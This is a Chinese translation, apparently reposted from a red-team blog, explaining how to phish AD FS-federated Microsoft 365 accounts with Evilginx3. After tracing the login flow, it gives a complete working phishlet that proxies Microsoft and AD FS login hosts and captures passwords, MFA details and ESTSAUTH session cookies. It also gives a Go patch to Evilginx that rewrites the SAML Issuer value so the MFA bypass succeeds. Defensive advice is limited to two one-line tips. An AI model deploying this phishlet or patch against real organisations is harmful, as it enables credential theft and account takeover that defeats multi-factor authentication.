【翻译】使用 Evilginx 对 AD FS 进行钓鱼

渗透技巧 9个月前 admin
355 0 0

https://research.aurainfosec.io/pentest/hook-line-and-phishlet/

0x00 前言

最近,我接触到一个红队项目,客户特意要求需要针对他们的员工进行网络钓鱼模拟。该公司将 AD FS 用户联合单点登陆,并在全公司范围内实施了多因素身份验证 (MFA)。

Active Directory 联合身份验证服务 (AD FS) 通常与 Microsoft 365 等基于云的应用程序结合使用,以跨组织提供单点登录 (SSO) 功能。

作为身份提供程序(IDP),AD FS 根据本地 Active Directory 对用户的凭据进行身份验证,从而实现对基于云的服务的无缝访问。

这种联合身份模型在本地部署 Active Directory 和 Microsoft Azure AD 之间建立信任关系,确保在两个环境中实现一致的用户身份验证和授权。

AD FS 还通过强制执行本地安全策略和支持基于云的应用程序的 MFA 来增强安全性。有关详细信息,请参阅此链接

尽管我努力在网上寻找关于如何成功地对使用 AD FS 的目标进行网络钓鱼的详细文章,但我找不到一篇涉及此主题的技术文章。因此,我认为这是一个学习新知识的机会,希望能将一些知识传授给大家。

0x01 登录流程

假设一名员工正在使用公司账户 [email protected] 登录 outlook.com。该组织(example.com)被配置为与 AD FS 联合,并托管在 adfs.example.com

但在此之前,我们还需要去了解 AD FS 和 Outlook 的登陆流程,这样才能对 Evilginx 进行适配,以便跟踪所有的 URL 和端点信息。

当这名员工访问 outlook.com 并单击“登录”,然后重定向到 login.microsoftonline.com 。接下来会发生什么?

注意:具体的实施方案会因组织结构的不同而有所差异。

【翻译】使用 Evilginx 对 AD FS 进行钓鱼
image.png

1.1 启动身份验证

用户在 Microsoft 登录页面上输入用户名(电子邮件地址)。在后台,一个 POST 请求会被发送到微软的身份验证端点,以确定所提供用户名所需的凭证类型。 该请求包含各种参数,表明是否支持其他身份提供商服务(isOtherIdpSupported)、安全令牌(isFidoSupported)等功能。基于这些参数和关联的账户,服务器将重定向用户到相应的认证终端节点。

【翻译】使用 Evilginx 对 AD FS 进行钓鱼
image.png

响应包含 FederationRedirectUrl,即 AD FS 登录端点。

【翻译】使用 Evilginx 对 AD FS 进行钓鱼
image.png

1.2 重定向至身份提供商服务

用户被重定向到 AD FS 登录端点( https://adfs.example.com/adfs/ls/...)。

【翻译】使用 Evilginx 对 AD FS 进行钓鱼
image.png

响应显示了从原始登录请求提供的各种参数,这些参数被用于填充发送到 AD FS 终端节点的登录表单。该用户将看到其组织的自定义 AD FS 登录页面,其电子邮件地址已预填在登录表单中。

【翻译】使用 Evilginx 对 AD FS 进行钓鱼
image.png

1.3 向身份提供商服务进行认证

现在,用户需要登录 AD FS 端点。为此,需要向 AD FS 端点发送包含用户凭据的 POST 请求,以进行身份验证。

【翻译】使用 Evilginx 对 AD FS 进行钓鱼
image.png

如果输入了正确的密码,302 响应会将用户重定向到 Location 标头中提供的端点,并在用户浏览器中设置 (msiauth) cookie。注意:Location 标头中的值不仅包含 AD FS 端点,还包含端口号 (https://adfs.example.com:443/adfs/ls...)。这在后面会很重要。

【翻译】使用 Evilginx 对 AD FS 进行钓鱼
image.png

1.4 AD FS 登录成功

AD FS 端点认证成功后,会生成一个 SAML(安全断言标记语言)响应并发送到用户的浏览器。

【翻译】使用 Evilginx 对 AD FS 进行钓鱼
image.png

SAML 响应的解码值如下所示。

【翻译】使用 Evilginx 对 AD FS 进行钓鱼
image.png

注意:SAML 断言中的 Issuer 值,因为它稍后将发挥作用: Issuer=http://adfs.example.com/adfs/services/trust

1.5 对服务提供商的声明

用户带着附加的 SAML 断言被重定向回 Microsoft 服务提供商。这个 SAML 响应是 AD FS 用来向 Microsoft Azure AD 服务提供商证明已成功对用户进行认证的方式。

【翻译】使用 Evilginx 对 AD FS 进行钓鱼
image.png

如果一切顺利,将设置多个 ESTS(Extended Security Token Service)身份验证 Cookie,并包含在随后的请求中。

【翻译】使用 Evilginx 对 AD FS 进行钓鱼
image.png

1.6 启动多因素身份验证

然后 Microsoft Azure AD 会启动多因素身份验证(MFA)过程,从而增加了额外的安全层级。 通常,这涉及用户从其身份验证应用程序中输入验证码,或者从预先注册的设备(在这种情况下是手机)上输入显示在通知中的数字。

【翻译】使用 Evilginx 对 AD FS 进行钓鱼
image.png

1.7 完成多因素身份验证

在用户输入了 MFA 验证码后,客户端会生成一个 POST 请求,将该验证码以及其他必要的身份验证信息发送到 Microsoft Azure AD。Azure AD 会对接收到的信息进行验证,并在验证成功后确认用户身份。如果认证成功,用户将被授予访问所需资源或服务的权限。这样,多重身份认证和认证过程得以完成,确保用户的身份得到有效确认并且已经通过了必要的安全层级。

【翻译】使用 Evilginx 对 AD FS 进行钓鱼
image.png

在这种情况下,如果用户选择保持登录状态,客户端会生成一个 POST 请求,将相应的信息发送到 /kmsi 目录。这个请求告知服务器将用户的账户保持登录状态,这样用户在未来访问该服务时,就不需要重新输入身份验证信息。这个功能允许用户在一段时间内保持登录状态,方便日常使用,但也需要谨慎使用,特别是在共享设备上,以确保账户的安全性。

注意:请记住,正如我前面提到的,具体实现方式可能会有所不同。我见过其他 AD FS 端点,它们也会先处理 MFA 流程,然后再移交给 login.microsoftonline.com/login.srf,以获取最终的 ESTS 会话 cookie。这是一个需要进一步研究的领域。

0x02 Evilginx3 钓鱼框架

Evilginx 是一个网络钓鱼框架(来自 Kuba Gretzky),用于捕获登录凭据以及会话 Cookie,允许攻击者绕过多因素身份验证保护。它通过在目标和合法服务之间充当中间人 (MiTM) 来实现这一点。

Evilginx 能够无缝代理请求和响应,同时将目标保持在网络钓鱼框架内,这就是它能够有效绕过 MFA 并对 Microsoft 365 等基于云的服务成功实施网络钓鱼攻击的原因。

Evilginx 必须跟踪所有 URL 和端点,以便在向目标展示钓鱼页面的同时,准确地将目标请求代理到实际服务。 这可确保目标不会从网络钓鱼框架转到其他地方,从而保持他们正在与合法服务互动的假象。

我强烈推荐大家去看看 Evilginx Mastery 课程,这是一门关于如何创建高级网络钓鱼的绝佳速成课程。

要在使用 AD FS 时成功对用户进行网络钓鱼,我们需要捕获 AD FS 端点 (adfs.example.com) 上的登录凭据,以及微软设置的 ESTS 身份验证/会话 Cookie (login.microsoftonline.com)。

【翻译】使用 Evilginx 对 AD FS 进行钓鱼
image.png

既然我们已经知道了需要跟踪的域,那么我们就来看看 Evilginx3 文档中可以利用的几个关键部分:

  • • proxy_hosts:Evilginx 将在访问者和合法主机之间代理流量时处理的子域和域。

  • • sub_filters:字符串替换过滤器,可用于动态修改代理网站的内容。这对于用网络钓鱼代理 URL 替换所有出现的合法网站 URL 非常重要,可以防止浏览器在访问者完成验证过程之前将其重定向到合法网站。过滤器还可用于删除或修改客户端 JavaScript 中实施的反钓鱼安全措施。

  • • force_post:允许你定义要添加到现有 POST 请求中的 POST 参数。这对于强迫被钓鱼的用户启用 “记住我 “选项进行身份验证非常有用,即使他们在登录表单上明确地没有勾选复选框。

2.1 现有的 AD FS 钓鱼

Evilginx 2.X 版本中的一个原始钓鱼程序,它显然支持对 AD FS 端点的钓鱼。让我们以它为起点快速浏览一下:

name: 'o365'
author: '@jamescullum'
min_ver: '2.3.0'
proxy_hosts:
  - {phish_sub: 'login', orig_sub: 'login', domain: 'microsoftonline.com', session: true, is_landing: true}
  - {phish_sub: 'www', orig_sub: 'www', domain: 'office.com', session: false, is_landing:false}
  # The lines below are needed if your target organisation utilizes ADFS.
  # If they do, you need to uncomment all following lines that contain <...>
  # To get the correct ADFS subdomain, test the web login manually and check where you are redirected.
  # Assuming you get redirected to adfs.example.com, the placeholders need to be filled out as followed:
  #    <insert-adfs-subdomain> = adfs
  #    <insert-adfs-host> = example.com
  #    <insert-adfs-subdomain-and-host> = adfs.example.com
  #- {phish_sub: 'adfs', orig_sub: '<insert-adfs-subdomain>', domain: '<insert-adfs-host>', session: true, is_landing:fale}
  #- {phish_sub: 'adfs', orig_sub: '<insert-adfs-subdomain>', domain: '<insert-adfs-host>:443', session: true, is_landing:false}
sub_filters:
  - {triggers_on: 'login.microsoftonline.com', orig_sub: 'login', domain: 'microsoftonline.com', search: 'href="https://{hostname}', replace: 'href="https://{hostname}', mimes: ['text/html', 'application/json', 'application/javascript']}
  - {triggers_on: 'login.microsoftonline.com', orig_sub: 'login', domain: 'microsoftonline.com', search: 'https://{hostname}', replace: 'https://{hostname}', mimes: ['text/html', 'application/json', 'application/javascript'], redirect_only: true}
  # Uncomment and fill in if your target organisation utilizes ADFS
  #- {triggers_on: '<insert-adfs-subdomain-and-host>', orig_sub: 'login', domain: 'microsoftonline.com', search: 'https://{hostname}', replace: 'https://{hostname}', mimes: ['text/html', 'application/json', 'application/javascript']}
auth_tokens:
  - domain: '.login.microsoftonline.com'
    keys: ['ESTSAUTH', 'ESTSAUTHPERSISTENT']
  - domain: 'login.microsoftonline.com'
    keys: ['SignInStateCookie']
credentials:
  username:
    key: '(login|UserName)'
    search: '(.*)'
    type: 'post'
  password:
    key: '(passwd|Password)'
    search: '(.*)'
    type: 'post'
login:
  domain: 'login.microsoftonline.com'
  path: '/'

我们可以创建一个 phishlet 并替换相关值(为简洁起见,我删除了其他值)。由于我们是在 Evilginx 的本地实例上调试钓鱼程序,因此使用的钓鱼域名将是 *.fake.com

proxy_hosts:
  - {phish_sub: 'login', orig_sub: 'login', domain: 'microsoftonline.com', session: true, is_landing: false, auto_filter: true}
  - {phish_sub: 'portal', orig_sub: 'portal', domain: 'microsoftonline.com', session: true, is_landing: false, auto_filter: true}
  - {phish_sub: 'account', orig_sub: 'account', domain: 'microsoftonline.com', session: false, is_landing: false, auto_filter: true}
  - {phish_sub: 'www', orig_sub: 'www', domain: 'office.com', session: false, is_landing: false, auto_filter: true}
  - {phish_sub: 'login', orig_sub: 'login', domain: 'microsoft.com', session: false, is_landing: false, auto_filter: true}
  - {phish_sub: 'aadcdn', orig_sub: 'aadcdn', domain: 'msftauth.net', session: false, is_landing: false, auto_filter: true}
  - {phish_sub: 'login', orig_sub: 'login', domain: 'live.com', session: false, is_landing: false, auto_filter: true}
  - {phish_sub: 'www', orig_sub: 'www', domain: 'microsoft365.com', session: false, is_landing: false, auto_filter: true}
  - {phish_sub: 'login', orig_sub: 'login', domain: 'live.com', session: false, is_landing: false, auto_filter: true}
  - {phish_sub: 'adfs', orig_sub: 'adfs', domain: 'example.com', session: true, is_landing: true}
  - {phish_sub: 'adfs', orig_sub: 'adfs', domain: 'example.com:443', session: true, is_landing: false}
sub_filters:
  - {triggers_on: 'adfs.example.com', orig_sub: 'login', domain: 'microsoftonline.com', search: 'href="https://{hostname}', replace: 'href="https://{hostname}', mimes: ['text/html', 'application/json', 'application/javascript']}
  - {triggers_on: 'adfs.example.com', orig_sub: 'login', domain: 'microsoftonline.com', search: 'https://{hostname}', replace: 'https://{hostname}', mimes: ['text/html', 'application/json', 'application/javascript']}

我的问题就是从这里开始出现的。

2.2 存在的问题

为了确保从目标到合法端点的所有请求都被代理,Evilginx 会用钓鱼网站中提供的钓鱼 URL 替换所有出现的合法 URL。

这一点很重要,因为我们需要将包含合法 AD FS 端点 (https://adfs.example.com:443/adfs/ls...) 的 Location 标头的值改为我们的钓鱼 URL (https://adfs.fake.com:443/adfs/ls...),这可以使用程序中的以下 phish_sub 规则来完成:

{phish_sub: 'adfs', orig_sub: 'adfs', domain: 'example.com:443', session: true, is_landing: false}

不过,这条 phish_sub 规则的存在的问题是:所有包含特定字符串的 POST 参数也会在后续请求中更新,这一点可以从 http_proxy.go 中的以下几行看出:

...omitted...
// loop over all the POST request data in the request
for k, v := range req.PostForm {
    for i, vv := range v {
      // patch phishing URLs in POST params with original domains
      req.PostForm[k][i] = string(p.patchUrls(pl, []byte(vv), CONVERT_TO_ORIGINAL_URLS))
  }
}
...omitted...

如果我们查看从 Evilginx 发送到 https://login.microsoftonline.com/login.srf 的经过修改的 POST 请求,并关注 SAML 断言中的 Issuer 值,就会发现 Evilginx 在 Issuer 值中替换了 AD FS URL,并添加了一个端口号(:443)。

注:我对值进行了 URL 解析,以便于阅读。 微软希望收到什么?

Issuer="http://adfs.example.com/adfs/services/trust"

Evilginx 正在发送什么:

Issuer="http://adfs.example.com:443/adfs/services/trust"

这导致 Microsoft 登录端点返回 AADSTS50107 错误:

【翻译】使用 Evilginx 对 AD FS 进行钓鱼
image.png

注意:上面截图中显示的域名是 adfs.fake.com。这是因为这是 Evilginx 发送给目标浏览器的代理响应。如果我们查看 Evilginx 从 Microsoft 收到的响应,就会发现发送的 Issuer 值是 adfs.example.com:443:

【翻译】使用 Evilginx 对 AD FS 进行钓鱼
image.png

那么,为什么不直接删除 phishlet 中的 phish_sub 规则呢?如果这样做,我们就会失去目标,因为我们无法替换 Location 标头中的 URL 值,导致他们被重定向到合法的 AD FS 端点。

2.3 可能的解决方案

我们需要替换从合法 AD FS 服务器返回的 Location 标头中的 URL 值,但我们不想在向 login.microsoftonline.com/login.srf 端点发送包含 SAML 断言(特别是 Issuer值)的 POST 请求时替换该 URL 值。

我花了相当长的时间想出一个变通方法来修改 phishlet,使其正常工作。起初,你可能会认为这是一个很容易解决的问题。只需在 Evilginx 中使用 force_post 选项?

2.3.1 使用 force_post?

通过阅读 force_post 的相关文档:

force: List of POST arguments to insert or replace in intercepted POST request.

发现force 参数的工作方式是:当找到特定键时,只需替换 POST 参数中键值对的整个值即可,这种方式适用于简单情况。 这可以在处理 forcePost 数据的 for 循环中看到。语句 req.PostForm.Set(fp_f.key, fp_f.value) 使用了 url.Values 的 Set 方法(url.Values 是 req.PostForm 的类型),而 Set 方法会替换与给定键相关联的整个值。

...omitted...
// within the loop to handle inserting values provided in force_post - if the defined key-pairs were found:
// If ok_search is true, set the POST request data to the key-value pairs in the force array
if ok_search {
    for _, fp_f := range fp.force {
        req.PostForm.Set(fp_f.key, fp_f.value)
    }
    body = []byte(req.PostForm.Encode())
    req.ContentLength = int64(len(body))
    log.Debug("force_post: body: %s len:%d", body, len(body))
}
...omitted...

不过,我们只想替换 POST 请求数据中特定密钥对值内的部分字符串(即 wresult POST 参数内的 Issuer 字符串值)。

2.3.2 使用sub_filter?

为什么不添加另一个 sub_filter 规则来修改值?我将以下内容 sub_filter 添加到网络钓鱼中,以搜索并将 POST 请求中的 Issuer 值替换为 login.microsoftonline.com :

- {triggers_on: 'login.microsoftonline.com', orig_sub: '', domain: 'microsoftonline.com', search: 'http%3A%2F%2Fadfs.example.com%3A443%2F', replace: 'http%3A%2F%2Fadfs.example.com%2Fadfs%2F', mimes: ['text/html', 'application/json', 'application/javascript']}

为了以防万一,我还试着在 AD FS 端点上触发此功能:

但这些尝试都没有奏效。

2.3.3 修改 Evilginx?

在与一些同事聊天后,其中一位同事(感谢 Lachlan)提出了一个很好的建议:”修改 Evilginx 即可”。

好了,让我们快速浏览一下 http_proxy.go 中处理 POST 请求体的相关代码,并添加一些注释:

...omitted...
// loop over all the POST request data in the request
for k, v := range req.PostForm {
            for i, vv := range v {
                // patch phishing URLs in POST params with original domains
                req.PostForm[k][i] = string(p.patchUrls(pl, []byte(vv), CONVERT_TO_ORIGINAL_URLS))
            }
        }
// another loop over the POST request data to log the key-value pairs
for k, v := range req.PostForm {
            if len(v) > 0 {
                log.Debug("POST %s = %s", k, v[0])
            }
        }
// the POST request data is URL encoded and converted to a byte slice
body = []byte(req.PostForm.Encode())
// the ContentLength of the POST request is set to the length of the POST data
req.ContentLength = int64(len(body))

// loop to handle inserting values provided in force_post
for _, fp := range pl.forcePost {
            if fp.path.MatchString(req.URL.Path) {
                log.Debug("force_post: url matched: %s", req.URL.Path)
                ok_search := false
                if len(fp.search) > 0 {
                    k_matched := len(fp.search)
                    // If search array is not empty, check if any of the search keys are in the POST request data
                    for _, fp_s := range fp.search {
                        for k, v := range req.PostForm {
                            if fp_s.key.MatchString(k) && fp_s.search.MatchString(v[0]) {
                                if k_matched > 0 {
                                    k_matched -= 1
                                }
                                log.Debug("force_post: [%d] matched - %s = %s", k_matched, k, v[0])
                                break
                            }
                        }
                    }
                    if k_matched == 0 {
                        ok_search = true
                    }
                } else {
                    ok_search = true
                }
                // If ok_search is true, set the POST request data to the key-value pairs in the force array
                if ok_search {
                    for _, fp_f := range fp.force {
                        req.PostForm.Set(fp_f.key, fp_f.value)
                    }
                    body = []byte(req.PostForm.Encode())
                    req.ContentLength = int64(len(body))
                    log.Debug("force_post: body: %s len:%d", body, len(body))
                }
            }
    }
  }
  }
  // The POST request body is set with the byte slice
  req.Body = ioutil.NopCloser(bytes.NewBuffer([]byte(body)))
  ...omitted...

我们可以对 POST 请求数据的正文执行手动查找和替换操作,然后相应地更新 ContentLength。我们可以使用 strings.Replace 函数将 URL 编码字符串 %2Fadfs.example.com%3A443%2F 替换为 %2Fadfs.example.com%2F。最后,我们需要更新 POST 请求的 ContentLength,以匹配更新后的 POST 请求数据。

//req.Body = ioutil.NopCloser(bytes.NewBuffer([]byte(body)))
newBody := strings.Replace(string(body), "%2Fadfs.example.com%3A443%2F", "%2Fadfs.example.com%2F", -1)
req.Body = ioutil.NopCloser(bytes.NewBuffer([]byte(newBody)))
req.ContentLength = int64(len(newBody))

成功!!我对此进行了测试,它奏效了。?

但是,这样的修改,只能对当下这种情况有效,无法达到通用。因此,回到我第一个方案,使用 force_post 是此功能最符合逻辑的地方。但是,需要按以下方式修改代码:

首先,在 POST 请求正文中查找键值对。如果找到匹配,则在键值对的值中查找特定的字符串模式。如果在值内找到了搜索字符串,则只替换匹配的那部分数据,否则按正常操作替换整个键值对。 我修改了 Evilginx,并提出了一个拉取请求,以便将这些修改推送到 Evilginx 存储库中。更新后的 force_post 文档现在如下所示:

force_post:
  - path: '/sessions'
    search:
      - {key: 'session[user.*]', search: '.*'}
      - {key: 'session[pass[a-z]{4}]', search: '.*'}
    force:
      - {key: 'remember_me', search: '.*', value: '1'}
    type: 'post'
  • • path (regexp):正则表达式,用于匹配截获的 POST 请求将发送到的 URL 路径。

  • • search :触发 POST 参数。此处定义的所有文本必须出现在 POST 请求中,以便插入或替换 POST 参数。

    • • key (正则表达式):与 POST 参数键匹配的正则表达式。

    • • search (正则表达式):与 POST 参数值匹配的正则表达式。

  • • force:在拦截的 POST 请求中插入或替换的 POST 参数列表。

    • • key (字符串):POST 参数的名称。

    • • search (regexp):正则表达式,用于匹配指定键内的值。

    • • value (字符串):POST 参数的值。

  • • type (string): 要处理的 POST 请求类型。目前只支持 POST。

完整的 phishlet 如下所示:

name: 'Microsoft 365 with AD FS'
author: 'phish'
min_ver: '3.1.0'
proxy_hosts:
  - {phish_sub: 'login', orig_sub: 'login', domain: 'microsoftonline.com', session: true, is_landing: false, auto_filter: true}
  - {phish_sub: 'portal', orig_sub: 'portal', domain: 'microsoftonline.com', session: true, is_landing: false, auto_filter: true}
  - {phish_sub: 'account', orig_sub: 'account', domain: 'microsoftonline.com', session: false, is_landing: false, auto_filter: true}
  - {phish_sub: 'www', orig_sub: 'www', domain: 'office.com', session: false, is_landing: false, auto_filter: true}
  - {phish_sub: 'login', orig_sub: 'login', domain: 'microsoft.com', session: false, is_landing: false, auto_filter: true}
  - {phish_sub: 'aadcdn', orig_sub: 'aadcdn', domain: 'msftauth.net', session: false, is_landing: false, auto_filter: true}
  - {phish_sub: 'login', orig_sub: 'login', domain: 'live.com', session: false, is_landing: false, auto_filter: true}
  - {phish_sub: 'www', orig_sub: 'www', domain: 'microsoft365.com', session: false, is_landing: false, auto_filter: true}
  - {phish_sub: 'login', orig_sub: 'login', domain: 'live.com', session: false, is_landing: false, auto_filter: true}
  - {phish_sub: 'adfs', orig_sub: 'adfs', domain: 'example.com', session: true, is_landing: true}
  - {phish_sub: 'adfs', orig_sub: 'adfs', domain: 'example.com:443', session: true, is_landing: false}
sub_filters:
  - {triggers_on: 'adfs.example.com', orig_sub: 'login', domain: 'microsoftonline.com', search: 'href="https://{hostname}', replace: 'href="https://{hostname}', mimes: ['text/html', 'application/json', 'application/javascript']}
  - {triggers_on: 'adfs.example.com', orig_sub: 'login', domain: 'microsoftonline.com', search: 'https://{hostname}', replace: 'https://{hostname}', mimes: ['text/html', 'application/json', 'application/javascript']}
auth_tokens:
  - domain: '.login.microsoftonline.com'
    keys: ['ESTSAUTH', 'ESTSAUTHPERSISTENT', 'SignInStateCookie']
    type: 'cookie'
credentials:
  username:
    key: '(login|UserName)'
    search: '(.*)'
    type: 'post'
  password:
    key: '(passwd|Password|accesspass)'
    search: '(.*)'
    type: 'post'
  custom:
    - key: 'mfaAuthMethod'
      search: '(.*)'
      type: 'post'
login:
  domain: 'login.microsoftonline.com'
  path: '/'
force_post:
  - path: '/login.srf'
    search:
      - {key: 'wa', search: '.*'}
      - {key: 'wresult', search: '.*'}
      - {key: 'wctx', search: '.*'}
    force:
       - {key: 'wresult', search: 'http://adfs.example.com:443', value: 'http://adfs.example.com'}
    type: 'post'

注意:从 Evilginx 3.1 版本开始,您不再需要在会话 cookie 中添加 :always。根据版本说明:

已修复:现在每次都能正确捕获会话 cookie(未设置过期日期的 cookie)。无需为 auth_tokens 指定 :always key 修饰符即可捕获它们。

我还写了一个在 Ubuntu Linux 主机上安装 Evilginx3 的 bash 脚本–欢迎使用。 ✌️ https://gist.github.com/dunderhay/d5fcded54cc88a1b7e12599839b6badb

0x03 给防御者的提示

  • • 进行位置验证

  • • 进行密钥令牌验证

这两点在 Evilginx Mastery 课程中都有提到。

0x04 免责声明

本文中的信息仅供研究和教育之用。对于因使用或依赖本文所含信息而造成的任何直接或间接损失,本人不承担任何形式的责任。


原文始发于微信公众号(RowTeam):【翻译】使用 Evilginx 对 AD FS 进行钓鱼

版权声明:admin 发表于 2023年8月5日 上午12:25。
转载请注明:【翻译】使用 Evilginx 对 AD FS 进行钓鱼 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...